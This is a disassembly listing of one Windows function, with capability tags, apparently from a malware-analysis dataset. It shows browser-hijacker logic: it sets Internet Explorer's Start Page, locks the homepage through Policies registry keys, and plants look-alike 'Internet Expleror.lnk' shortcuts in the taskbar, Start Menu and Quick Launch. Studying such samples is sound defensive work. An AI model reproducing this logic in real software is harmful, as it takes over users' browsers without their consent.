Function at 0x40c9a0
Capabilities:
Create shortcut via ishelllink
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1628
call fcn.00417020
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [ebp + 0xc], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
jne 0x40cbca
mov ecx, edi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c9d0
sub ecx, edx
mov edx, str.SoftwareMicrosoftInternet_ExplorerMain
push ecx
push edi
push str.Start_Page
push 1
mov ecx, SysReAllocString
call fcn.0040df30
mov ecx, edi
add esp, 0x10
lea esi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ca00
sub ecx, esi
mov edx, str.SoftwareMicrosoftInternet_ExplorerMain
push ecx
push edi
push str.Start_Page
push 1
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040df30
mov edx, edi
add esp, 0x10
lea esi, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x40ca30
sub edx, esi
mov ecx, SysReAllocString
push edx
push edi
push str.Start_Page
push 1
mov edx, str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
call fcn.0040df30
mov esi, edi
add esp, 0x10
lea ecx, [esi + 1]
lea esp, [esp]
mov al, byte [esi]
inc esi
test al, al
jne 0x40ca60
sub esi, ecx
mov edx, str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
push esi
push edi
push str.Start_Page
push 1
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040df30
add esp, 0x10
mov dword [ebp - 0x1620], 1
lea eax, [ebp - 0x161c]
push 0
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SoftwarePoliciesMicrosoftInternet_ExplorerControl_Panel
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40cb32
push 4
lea eax, [ebp - 0x1620]
push eax
push 4
push 0
push str.HomePage
push dword [ebp - 0x161c]
call esi
push dword [ebp - 0x161c]
call ebx
push 0
lea eax, [ebp - 0x161c]
push eax
push 0
push 0xf023f
push 0
push 0
push 0
push str.SoftwarePoliciesMicrosoftInternet_ExplorerControl_Panel
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40cb32
push 4
lea eax, [ebp - 0x1620]
push eax
push 4
push 0
push str.HomePage
push dword [ebp - 0x161c]
call esi
push dword [ebp - 0x161c]
call ebx
push 0
lea eax, [ebp - 0x161c]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SoftwarePoliciesMicrosoftInternet_ExplorerControl_Panel
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40cbca
push 4
lea eax, [ebp - 0x1620]
push eax
push 4
push 0
push str.HomePage
push dword [ebp - 0x161c]
call esi
push dword [ebp - 0x161c]
call ebx
push 0
lea eax, [ebp - 0x161c]
push eax
push 0
push 0xf023f
push 0
push 0
push 0
push str.SoftwarePoliciesMicrosoftInternet_ExplorerControl_Panel
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40cbca
push 4
lea eax, [ebp - 0x1620]
push eax
push 4
push 0
push str.HomePage
push dword [ebp - 0x161c]
call esi
push dword [ebp - 0x161c]
call ebx
xor eax, eax
push 0xffe
push eax
mov word [ebp - 0x160c], ax
lea eax, [ebp - 0x160a]
push eax
call fcn.004164f0
xor eax, eax
push 0x3fe
push eax
mov word [ebp - 0x60c], ax
lea eax, [ebp - 0x60a]
push eax
call fcn.004164f0
add esp, 0x18
lea eax, [ebp - 0x60c]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.:Program_FilesInternet_Exploreriexplore.exe
lea eax, [ebp - 0x60a]
push 0x1ff
push eax
call fcn.00414aa3
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004164f0
add esp, 0x18
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0xffffffffffffffff
push edi
push 0
push 0x3a8
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea esi, [ebp - 0x160c]
mov dword [ebp - 0x1618], 0x10
xor edi, edi
mov dword [ebp - 0x1614], 0x10
mov dword [ebp - 0x1610], 0xb
lea eax, [ebp - 0x1628]
push eax
push dword [ebp + edi*4 - 0x1618]
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x40ccc3
push 0x400
push eax
push esi
call fcn.004164f0
add esp, 0xc
push esi
push dword [ebp - 0x1628]
call ebx
inc edi
add esi, 0x400
cmp edi, 3
jl 0x40cc91
lea eax, [ebp - 0xe0c]
push str.Windows
push eax
call fcn.00414bcc
add esp, 8
test eax, eax
je 0x40cd1d
xor ecx, ecx
push str.Internet_ExplorerQuick_LaunchUser_PinnedStartMenuInternet_Expleror.lnk
mov word [eax], cx
lea eax, [ebp - 0xe0c]
push 0x200
push eax
call fcn.00414a37
lea eax, [ebp - 0xe0c]
push eax
lea eax, [ebp - 0xa0c]
push 0x200
push eax
call fcn.00414aa3
add esp, 0x18
lea eax, [ebp - 0xa0c]
push str.StartMenu
push eax
call fcn.00414bcc
add esp, 8
test eax, eax
je 0x40cd53
xor ecx, ecx
push str.TaskBarIE
mov word [eax], cx
lea eax, [ebp - 0xa0c]
push 0x200
push eax
call fcn.00414a37
add esp, 0xc
push str.Internet_Expleror.lnk
lea eax, [ebp - 0x160c]
push 0x200
push eax
call fcn.00414a37
push str.Internet_Expleror.lnk
lea eax, [ebp - 0x120c]
push 0x200
push eax
call fcn.00414a37
mov ebx, dword [sym.imp.ole32.dll_CoCreateInstance]
lea esi, [ebp - 0x160c]
add esp, 0x18
mov edi, 4
test esi, esi
je 0x40ce33
lea eax, [ebp - 0x161c]
push eax
push 0x42c430
push 1
push 0
push 0x42c440
call ebx
test eax, eax
js 0x40ce33
mov eax, dword [ebp - 0x161c]
lea edx, [ebp - 0x60c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x161c]
lea edx, [ebp - 0x20c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x161c]
lea edx, [ebp - 0x60c]
push 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x161c]
lea edx, [ebp - 0x1624]
push edx
push 0x42c450
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x40ce27
mov eax, dword [ebp - 0x1624]
push 1
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x1624]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x161c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
add esi, 0x400
dec edi
jne 0x40cd93
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412a47
mov esp, ebp
pop ebp
ret 8